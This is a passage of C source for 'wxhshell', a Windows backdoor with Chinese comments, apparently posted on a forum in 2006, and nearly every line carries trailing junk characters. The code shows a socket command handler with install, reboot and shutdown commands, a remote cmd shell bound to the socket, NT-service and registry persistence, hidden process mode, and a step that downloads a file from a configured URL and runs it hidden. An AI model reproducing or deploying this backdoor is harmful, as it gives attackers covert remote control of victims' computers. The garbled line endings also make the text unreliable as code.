  // 帮助 @1pW!AdN  
  case '?': { .RQXxw  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zer&`Vr  
    break; m6~ sKJV  
  } ?MV[=LPL  
  // 安装 tMD^$E"C  
  case 'i': { j:rs+1bc  
    if(Install()) "W?l R4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y0P}KPD  
    else bl:a&<F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~cO?S2!W  
    break; 9}%~w(P  
    } |kBg8).B  
  // 卸载 /?.r!Cp  
  case 'r': { JqVBT+:  
    if(Uninstall()) _H^^2#wc/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HobGl0<y  
    else N[+o[%A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |?;"B:0  
    break; ohQz%?r  
    } YO.`l~ v  
  // 显示 wxhshell 所在路径 K%[}[.cW  
  case 'p': { ]HNT(w@  
    char svExeFile[MAX_PATH]; )M&Azbu  
    strcpy(svExeFile,"\n\r"); }2iKi(io*  
      strcat(svExeFile,ExeFile); +YQ)}v  
        send(wsh,svExeFile,strlen(svExeFile),0); #"=yQZ6Y  
    break; nU?Xc(Xy  
    } {L-{Y<fke  
  // 重启 wRV`v$*6  
  case 'b': { 4AJu2Hp  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;*>QG6Fh  
    if(Boot(REBOOT)) ]Vf8mkDGO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~ X]"P4 u  
    else { o5*74Mv  
    closesocket(wsh); h|c:!VN@  
    ExitThread(0); T(sG.%  
    } Zi<Sw  
    break; y0&V$uv/  
    } T;:',T[G  
  // 关机 Sg_-OX@f  
  case 'd': { ~$y#(YbH  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -tK;RQYax  
    if(Boot(SHUTDOWN)) $ sA~p_]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AXNszS%4  
    else { a!^-~pH:  
    closesocket(wsh); <M =W)2D7  
    ExitThread(0); zal3j^  
    } DMK"Q#Vw  
    break; '$kS]U  
    } tvj'{W  
  // 获取shell lk+=2 6>  
  case 's': { G +nY}c  
    CmdShell(wsh); [kp7LA"`  
    closesocket(wsh); %CsTB0Y7n,  
    ExitThread(0); AT8B!m   
    break; Q8gdI  
  } JX2 |  
  // 退出 b]so9aCz  
  case 'x': { "b1R5(Ar  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K;ry4/Vap  
    CloseIt(wsh); ^;bGP.!p  
    break; ,h wf  
    } ',J%Mv>Yf  
  // 离开 -?%{A%'  
  case 'q': { V%{ 9o  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *xZQG9`kt  
    closesocket(wsh); &t.>^7ELF  
    WSACleanup(); 8&2gM  
    exit(1); 0()9vTY+  
    break; Ro3I/NI>  
        } HhQPgjZ/  
  } x w?9W4<  
  } ^Lg{2hjj  
P :7l#/x_  
  // 提示信息 ('o; M:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w=P <4 bdT  
} {6=H/g=:i  
  } Me K\eZ\  
9/X v&<Tn  
  return; fbx;-He!  
} -fSKJo#}|  
i/ O,`2  
// shell模块句柄 &' Nk2{  
int CmdShell(SOCKET sock) ++p& x{  
{ j9L+.UVI,  
STARTUPINFO si; C(%5,|6  
ZeroMemory(&si,sizeof(si)); 9^Vx*KVrU  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d@>k\6%j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; bbPd&7  
PROCESS_INFORMATION ProcessInfo; i_ODgc`H  
char cmdline[]="cmd"; 1 Z$99  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =|{,5="  
  return 0; R=Ly49  
} n nnA,  
*V@MAt  
// 自身启动模式 g9lg  
int StartFromService(void) |z<wPJ,;2  
{ ae(]9VW  
typedef struct f@. Q%+!4  
{ 6'sFmC  
  DWORD ExitStatus; x_H7=\pX]  
  DWORD PebBaseAddress; PEQvEruZ}  
  DWORD AffinityMask; -m x3^  
  DWORD BasePriority; n5,Pq+[  
  ULONG UniqueProcessId; &<#BsFz  
  ULONG InheritedFromUniqueProcessId; Kn9=a-b?,  
}   PROCESS_BASIC_INFORMATION; [>]VN)_J5  
T=p}By3a  
PROCNTQSIP NtQueryInformationProcess; ~E6+2t*  
@Qsg.9N3K  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &40JN}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G'}_ZUy#  
&LxzAL,3!  
  HANDLE             hProcess; / jL{JF>I  
  PROCESS_BASIC_INFORMATION pbi; sp |y/r#  
[q+ 39  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !#|fuOWe  
  if(NULL == hInst ) return 0; X)R] a]1A  
r`E1<aCr|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4oa P"T@6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); T[!q&kFB  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Mp @(/  
,E8>:-boL  
  if (!NtQueryInformationProcess) return 0; Y"\T*lKa  
3<' Q`H>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (XIq?c1T  
  if(!hProcess) return 0; #]\G*>{  
yI|?iBc7nC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; vhe Ah`u^&  
) ImIPSL  
  CloseHandle(hProcess); q2U"k  
R^O)fL0_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?yM/j7Xn  
if(hProcess==NULL) return 0; 2'^OtM,  
N4]6LA6x6  
HMODULE hMod; [t=+$pf(-  
char procName[255]; ;51!a C  
unsigned long cbNeeded; #&8pp8wd,}  
~i&< !O&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ToXFMkwY  
{8p?we3l1  
  CloseHandle(hProcess); PH4bM  
vFvu8*0  
if(strstr(procName,"services")) return 1; // 以服务启动 C%7)sLWjJS  
X1z0'gvh  
  return 0; // 注册表启动 4y}a,  
} ^d $e^cU  
U &k 3  
// 主模块 Pc ?G^ Xol  
int StartWxhshell(LPSTR lpCmdLine) o?hw2-mH  
{ VKfHN_m*  
  SOCKET wsl; /ykxVCvAt  
BOOL val=TRUE; {kO:HhUg  
  int port=0; 4Jy,IKPp  
  struct sockaddr_in door; j<-o{6r  
"N:]d*A\  
  if(wscfg.ws_autoins) Install(); "=TTsxyM6P  
!<^j!'2  
port=atoi(lpCmdLine); @ DKl<F  
pO+wJ|f  
if(port<=0) port=wscfg.ws_port; jJQfCOD$  
p~;z"Z  
  WSADATA data; Uo)<_nG  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~map5@Kd  
aeLo;!Jh  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [&k k  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); EBE>&{%$^  
  door.sin_family = AF_INET; ,^[37/S  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0$h$7'a  
  door.sin_port = htons(port); b020U>)v  
7 ,~Krzv  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,ui'^8{gK  
closesocket(wsl); jN{xpd  
return 1; Jj!tRZT  
} 5:3$VWLa <  
T ]nR XW$  
  if(listen(wsl,2) == INVALID_SOCKET) { Vw@x  
closesocket(wsl); 8r|  
return 1; :H:}t>X6Vo  
} (=B7_jrl  
  Wxhshell(wsl); ^ /eSby  
  WSACleanup(); |2` $g  
6 FxndR;  
return 0; KFG^vmrn  
e7AI&5Eg{  
} Uy'ZL(2  
c)~|#v  
// 以NT服务方式启动 *jSc&{s~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) s/|'1E\F  
{ s"!}=k X  
DWORD   status = 0; (:k`wh&  
  DWORD   specificError = 0xfffffff; 4tu>~ vOE  
fBh|:2u  
  serviceStatus.dwServiceType     = SERVICE_WIN32; FOyfk$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; g[)hm`{?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5W '|qmJ  
  serviceStatus.dwWin32ExitCode     = 0; WZ-{K"56  
  serviceStatus.dwServiceSpecificExitCode = 0; Ybiz]1d  
  serviceStatus.dwCheckPoint       = 0; Z+Zh;Ms  
  serviceStatus.dwWaitHint       = 0; %cjav  
l_IX+4(@b|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D\~$6#B>>  
  if (hServiceStatusHandle==0) return; z]_CFo1'l  
MNE)<vw>  
status = GetLastError(); jl29~^@}1i  
  if (status!=NO_ERROR) D)$k{v#~  
{ g+F_M  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Lh$ac-Ct  
    serviceStatus.dwCheckPoint       = 0; ;] o^u.PC  
    serviceStatus.dwWaitHint       = 0; j`hbQp\`  
    serviceStatus.dwWin32ExitCode     = status; 3ZZI1_j  
    serviceStatus.dwServiceSpecificExitCode = specificError; KywT Oq  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); NT:>.~ah@&  
    return; JH,bSb  
  } v xZUtyJfe  
/'+JP4mK  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5WG@ ;K%  
  serviceStatus.dwCheckPoint       = 0; 780MSFV8  
  serviceStatus.dwWaitHint       = 0; ^?`,f>`M  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7-B'G/PS/  
} } /FM#Xh  
r{;4(3E2  
// 处理NT服务事件,比如:启动、停止 1#RA+d(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @&> +`kgU-  
{ Ki\jiflc7  
switch(fdwControl) ( ~o+pp!  
{ S(xA}0]  
case SERVICE_CONTROL_STOP: i<![i5uAI  
  serviceStatus.dwWin32ExitCode = 0; ]c+'SJQ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >u[ln@ l  
  serviceStatus.dwCheckPoint   = 0; </Lqk3S-!  
  serviceStatus.dwWaitHint     = 0; :fUmMta  
  { ?7s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0']M,iC/  
  } ^<b.j.$<z  
  return; 0+h?Bk  
case SERVICE_CONTROL_PAUSE: %uMsXa  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; y[eNM6p  
  break; M,lu)~H  
case SERVICE_CONTROL_CONTINUE: y5 +&P  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -v&srd^  
  break; V!!'S h  
case SERVICE_CONTROL_INTERROGATE: 6?~pjMV  
  break; N|d@B{a(  
}; %%u4( '=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LRgk9*@,  
} 94/}@<d-=  
--D`YmB  
// 标准应用程序主函数 IC42O_^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 69L&H!<i:  
{ ]kvE+m&p}^  
jlZNANR3  
// 获取操作系统版本 7MfvU|D[d/  
OsIsNt=GetOsVer(); Jl}7]cVq#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {)xrg sB  
}=)"uv  
  // 从命令行安装 93,ExgFt  
  if(strpbrk(lpCmdLine,"iI")) Install(); OMNdvrE*=O  
2/WXdo  
  // 下载执行文件 ? 'nMZ  
if(wscfg.ws_downexe) { A O]e^Q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) BJTljg( {o  
  WinExec(wscfg.ws_filenam,SW_HIDE); XoOe=V?I )  
} c Ix(;[U  
fW`F^G1R  
if(!OsIsNt) { BC+qeocg  
// 如果时win9x,隐藏进程并且设置为注册表启动 U[u6UG  
HideProc(); tL|Q{+i yE  
StartWxhshell(lpCmdLine); W[ DB !ue  
} [ j_jee  
else umYdr'p!v  
  if(StartFromService()) S([De"y  
  // 以服务方式启动 Po[zzj>m  
  StartServiceCtrlDispatcher(DispatchTable); b87d'# .  
else SuSZ,>  
  // 普通方式启动 d?qz7#kc  
  StartWxhshell(lpCmdLine); H(|v  
)LUl?  
return 0; g;1 UZE;  
}
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只看该作者 1 发表于: 2006-10-10
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